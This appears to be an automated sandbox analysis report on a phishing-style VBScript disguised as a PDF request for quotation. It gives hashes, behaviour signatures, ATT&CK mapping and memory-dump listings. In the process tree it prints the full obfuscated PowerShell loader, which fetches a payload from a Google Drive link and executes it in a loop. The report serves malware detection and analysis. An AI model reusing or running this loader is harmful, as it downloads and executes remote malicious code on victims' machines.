57b863d0dc652e27edacd480593bbd3e45ec5a8e9e8208a2ba52d4ecf91c8a17

General

Target

Fluor RFQ1475·pdf.vbs
Size

15KB
MD5

695ec6cd0d4d8abaab5bed4e4f37153d
SHA1

027b2b36b69e9f41bc5b54493533d8b417192255
SHA256

3bb02f08d2d70b6f126d045a385a241330dbe96689304c48f1b9a1958297a060
SHA512

36a68f1693a03903990cf86eafe285cacab31b8b89a2a7c033e06545942604d8c735f4ff4d15d33c77e83379d74064954cd12a5fcb1bc3ea2b6cc289ef63ae1c
SSDEEP

384:aCTCJn/NHU8wde1pmZaKHQtL1YNBcYK7CB7qdgcKU:JuJnFH/w6pmmtl5WB7qm8

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

3 2524 WScript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2556 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2556 powershell.exe

flow	pid	process
3	2524	WScript.exe

pid	process
2556	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2556	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 2524 wrote to memory of 2556	2524	WScript.exe	powershell.exe
PID 2524 wrote to memory of 2556	2524	WScript.exe	powershell.exe
PID 2524 wrote to memory of 2556	2524	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fluor RFQ1475·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Estivate Electrochronographic Kldet denationaliseringernes Decanting Sstridskrfters #><#Hundjvel Ubeslutsomstes Skvhovedet Sammenligningerne Indstuderingens #>$Bebyrdelsen='Undervisningsbruget';function Koffardifart($Enqueter100){If ($host.DebuggerEnabled) {$Rhamnal=4} for ($Fichu=$Rhamnal;;$Fichu+=5){if(!$Enqueter100[$Fichu]) { break }$Chaetosomatidae+=$Enqueter100[$Fichu]}$Chaetosomatidae}function Poppied($Platanista147){ .($hjertesorg) ($Platanista147)}$Elskoven=Koffardifart 'Thaun FeoE ,ertD la.UnleWRoboEJenfB.alecBe al GecINskeE ilfnKa at';$Ndtvungne=Koffardifart ' BorMFriso .ekzUd,aiK.ntlNonplmacra Tan/';$firemandswhistens=Koffardifart 'Sca TMyxolJossssu p1Gal 2';$frugtstand='Tera[ PilnBraneRe eT ver.VrinSF,adEInfoRUnmevInc.iOpslcUnaceB,rtp dgao ufiI KjeNPosttSa tmbylda Unvn,deiAPlatGTeleeD cyrCrts]Fejd:Hyme: barS Be EDownCmonsuMonyr Seei scaTAll yKrydpChooRDomiosvvetSka OTydeCPurpoForbLCant=Perf$ BarfIpabI droRvarieOxheMFa.raFrkhN ystdspigSErotwSkulHUnboISeeaSMolrT eucEpaafN tr.s';$Ndtvungne+=Koffardifart 'Poe,5genn.Data0Imp Uncl(UdklWAppriE hvnFrp dGearo pirwOxalsVulk sl.tNFishTMa n Trop1Kim 0S ud.Teos0over;.onp KoreWRepoiFeo nAngl6Pavi4sche; re. No oxSylt6Rvrd4 G.r; and G derTermv la:Mund1 Mar3A ri1Forb.unco0,ret)Trgh BedsGOpvie LemcMiddkDa aoFacs/,jov2Gosc0Reas1Hamp0,sym0Sk b1 Act0Subs1 Ich I faFA riiNon rSucce R sfSquuo A hxU.vo/Mass1m,ch3R.bb1Free. Tar0';$Oligoprothetic=Koffardifart 'RameU Jo s LifECom RThil- Wala ortgPrineMa.tnmumbt';$Valsede=Koffardifart 'Mangh afrtFl atAktip PedsLin :Mcen/Katu/Pl nd msarJuleiThe,vCirceBur .AmangIrraoUnd oP.otgenerlSkifeFord.MetacDiffo esmKamm/Folku.irtcCru ?App e.krmxKiddpUn,eo m nrAfbitProa= tatd TwioCorpwHortn RumlN rvoFaldaEk odRis &Eye iRevadUdry= .yg1E brgmonsxProb2 He EAssuzH mm0Valgd AnaXKar.C irc3H ndz f rOP.ee3Pels4Clem2Sm t-BlyaR Un x BrakSkinEAitsc al4Gol,d Do,-EcocMOverHDdssYSeptA.schkReim-TrespErhvE';$tttekammen=Koffardifart 'Hibe>';$hjertesorg=Koffardifart 'OveriNat,e Immx';$Redirigeringers='Risskov';$Tilbagekaldelsesordningen='\Houting.Gha';Poppied (Koffardifart ' id$Be tg P.pLS,bsoKor.bBlaaATenelProd: .nfS,anct,oolORettFDegeMsoapN RenGForeDSpeceFastsComm=R ta$NarceSaddNPrisVfrdi:E,hia Pr P TycPEskoD PatAReditKursAVan,+ Aha$ sk tSk biSu sl SkrbApana mrG naeDa.sk uraFi sLLaveDNeurECanclSkotS ondEBa dSPar OdeteRVegeDAcann ModI.aminHalfg TaoeNo mN');Poppied (Koffardifart ' sse$AlpeG Sk LLnenOAn mBOposa HonLLn t:PencodefiVSammeG,eaRSupebAyelYErhvGT mbnU exI utNForbGUlve=Obse$wareV Fl a enlEnr S epELuxedCon ERef..TelesGeompMozalUncoiSpejtFetu( Nar$Teo,t weat xtTBij eIdeak Sa aUns MMetoMSte ESkrinSttt)');Poppied (Koffardifart $frugtstand);$Valsede=$overbygning[0];$Brontosaur=(Koffardifart ' Lod$Skr g PolL ungODisaBPhota,joeLKlu :.vanBSte ROverE SunM Ko e feslT rpYSad =MellNZoneeGr.lWTilb-Ko tOFr lbmaskJHypoeNarccPattt Bag nseSbuchy,ubpsKazaTSemiE,cytMUnsp.E bl$StoreLay,lSydsSMar.K OutoPsalVbi.eet.lgn');Poppied ($Brontosaur);Poppied (Koffardifart 'Nive$KrypBRep,r cateTilsmDealeU velAlkyySt m.St,rHPrede O ea entdClaueBootrhac.s Dis[Ro,a$FrisOsa tl freiJe ngD,lioSpndp unerEndaoStettEr.ch S aeCu etWieni OricStal]Unde=Occi$receN rnd memtBeslvT avuS ojnlabig DamnForee');$Rubiginose=Koffardifart 'Triv$Ka mBPa er PaneKommm GrueI del ,ney eur.StraDAlkaoFremwH.linSi pl tao Bygaud,bd derFNontiUautlHaggeSste(Opve$BoolVVildaF sslEnnosP ile,ogodLogae Un.,Af.a$FuliAMahdmDalep CarhN.rdi .hig .quaProfm Disa StreOpa )';$Amphigamae=$Stofmngdes;Poppied (Koffardifart ' Sta$Sun gC deLsounOpauebOsteaKaftL Tan:s,yrbPrveuGamiTPhenIMaskkBezaSUbefSAmniT MonrGe tUVenikRecuTPlanUSpinRNo.b=Indl(Abnot ette ResSWl dt Kat- ConPBakkaLayeTTam HOps Rddi$ ArtAkonomH reP SkuH rdeIA,tigSupeAazalMHoglAGauceTrkk)');while (!$Butiksstruktur) {Poppied (Koffardifart 'Kall$ izzgt wblIndsoBi dbIndta DomlDobb:SlumS,mtalbackaOpstgFutut SpeeNivekMetrvAcutgUnca=G,ft$PleaMBefoyArguoPapinUncueMakauBasers mioDisomPalaa') ;Poppied $Rubiginose;Poppied (Koffardifart 'Trsts,kdetBayoASludr PartOutw-DiffsTot L BaleHemoe,krip B o Stor4');Poppied (Koffardifart ' Ind$ KobGDennLdesuocompBShoca Krol Un.:T rrbTreauTricT G.nIAer k ,yoSM lisDe at palrCrosuBaankunlotDisrUGarvr Tr =Slip( PretOvereAmniSas etSkri-U biPMenuaEkspTSerbHur t Aut$ AkkANomeMGuttpRetuhAdamiCompgvatiA mpaMAteiaEtouEAneu)') ;Poppied (Koffardifart 'Nemo$OvergKautLStroO LanB enta eziL Cha:G spSIndePRanuIarveRReariVisstRefoe Ki d UdflfljtyRask=Quat$AuragEquiLO riO LvsbBesyA cholPest:Ta gP SelIF emLH,rmT Para Na SSloyTTakte ukaRUndeS Ech+Afid+ Thu%Lok $SammO revOficEAislRSculBOmvey ForG RhaNA.toIUnocNHorsgse,v.AumeC Hi oAnt U asyNLe pT') ;$Valsede=$overbygning[$Spiritedly]}$Adventistens=301189;$Abetment=30028;Poppied (Koffardifart 'Omba$ Klag BruL fesobumbB Hyracar.L N n:Arr KSalvnFlytkByggBpresRAutod Ta eMollN.kolE Kr ept=Ekst Sli,GHel.E nteTToym-In,ocHemooK rlnConst irceVveiN omaTSur dea$Aft AIndlMHn ePfrimh mbriBotoG Co.A DaaMFly aPeasE');Poppied (Koffardifart 'Rr r$DogsgCy.llKr eoBranbPa.ma anlStap:MaryH UbeoemblfRandjFemog irae .aarBrndmKanaeTillsBatttExcerNedneEnvinAkseeBe a Foo= tje For[,sonSOlanyLudbs rictH skeg ycm For.PeebCBeslo S mnMatevR,toe SkurTegnt,ene] lar:Hjer: GniFReforAggeoDivimO,hrBBillaDe esTo veSila6Scle4FestSkejst linrI,pei IntnMu tgSt l( Unr$SwigKKrosnNo.skCatabR skr WhidTe re DivnRivee Gen)');Poppied (Koffardifart 'Tec $tolvgEnjelUpdroIntubWeatAS lll Un,: SabeFriglPr dV KeraEnnuN DagiWheet RreIPresCEven Eme=Orib Micr[ entSSav YdjvlSGregTFuldeThe MAgno.Te et LaneProcXCigaT Ph .Tetae MisnNsebCMe aofor DAnt.IskrmNRumfGNon ]Reng: Bam:.nphAP.roS Fa cAfteidiphi Sik. GolgPrene fr TRadiS ermTBdeprElitIKomfnSaksGBer ( us$Opp.h onsoRoguFBetwJS,orGBundeAfteRSl gm CuleKlipsbillT,terr SkaEBluenforme t i)');Poppied (Koffardifart 'B id$Va.aG BegLStilOPropB,uria DanLMagi:Lo sz illYstorgAfgaOUdfrdOejeaMortcSwirtunamY FleLTubii Res=U se$,rade arelUndev.redaHas.NFolkIEuorT kroiSpikCKvar.Pr.aSGeleu tomb ofeS ,poTJonsr ulI H pn yldGRo,b(Cyma$Mae ASandd,usaVgushEMellN aaht Enci TokS peT,oleE yggn Su s Bed,koda$ ,umAUnwhbcente Bilt .nbmAmirEDiskNSym THasp)');Poppied $zygodactyli;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab9D3B.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
memory/2556-20-0x000007FEF578E000-0x000007FEF578F000-memory.dmp

Filesize
4KB

Download
memory/2556-21-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2556-22-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-24-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-23-0x0000000001F10000-0x0000000001F18000-memory.dmp

Filesize
32KB

Download
memory/2556-25-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-26-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-27-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-28-0x000007FEF578E000-0x000007FEF578F000-memory.dmp

Filesize
4KB

Download
memory/2556-29-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-30-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-31-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-32-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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